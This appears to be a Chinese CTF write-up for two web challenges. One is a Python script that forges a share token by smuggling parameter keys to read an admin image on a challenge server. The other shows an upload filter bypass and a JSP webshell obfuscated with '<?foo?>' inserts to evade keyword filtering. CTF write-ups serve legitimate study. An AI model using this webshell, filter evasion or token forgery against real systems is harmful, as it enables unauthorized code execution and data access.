Web#

Image Service 2#

用 IDA 稍微看看 sign 的逻辑,可以看到一个类似 fmt.Sprintf(“%v”, xxx) 的东西,且 Sprintf 后有用 Println 输出的结果。可以猜测这个 sprintf 的结果是计算 token 的中间值。通过本地运行程序可以发现 /image/upload 逻辑每次都输出了一个 map 的 %v 结果:

这个结果是可以构造的(融合两个 uuid)。

详细见下面脚本(将 flag2 替换为 admin 图片的 UUID)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time
import os
from urllib.parse import urlencode, urlsplit, parse_qsl

os.chdir(os.path.dirname(os.path.abspath(__file__)))

username = 'user'
password = '123456'

flag2 = '3716391c-cff5-4f7d-b084-e1dae8f65532'

sess = requests.Session()
def solve():
r = sess.post('http://121.36.209.245:10001/api/user/login', data={"username": username, "password": password})
print(r.content)
r = sess.post('http://121.36.209.245:10001/api/image/upload', files={"image": open("./flag1.png", "rb")})
print(r.content)
assert(r.status_code == 200)
r = sess.get('http://121.36.209.245:10001/api/image/list')
assert(r.status_code == 200)
upload = r.json()[0]['uuid']
print(upload)
r = sess.post('http://121.36.209.245:10001/api/share/new', data={"a:[abc] uuid": flag2, "uuid": upload, "vest": "abc"})
# r = sess.post('http://localhost:8000/share/new', data={"a": "abc", "uuid": flag2, "uuid:[{}] vest".format(upload): "abc"})
assert(r.status_code == 200)
print(f"original_url: {r.text}")
original_url = r.text
q = dict(parse_qsl(urlsplit(original_url).query))
hack_url = 'http://121.36.209.245:10002/get?' + urlencode({"a": "abc", "uuid": flag2, "uuid:[{}] vest".format(upload): "abc", "token": q['token']})
print(hack_url)

solve()

bypass#

  1. 双写 bypass 后缀名过滤;
  2. UTF-16 BE 绕过,但还是有关键词过滤;
  3. 绕过关键词过滤写 jsp webshell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:directive.page import="java.util.Base64"/>
<jsp:directive.page import="java.io.*"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Process p = Run<?foo?>time.getRun<?foo?>time().exec("/readflag");
BufferedReader input = new BufferedReader(new InputSt<?foo?>reamReader(p.getInputSt<?foo?>ream()));
String line = "";
while ((line = input.readLine()) != null) {
out.write(line+"\\n");
}
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>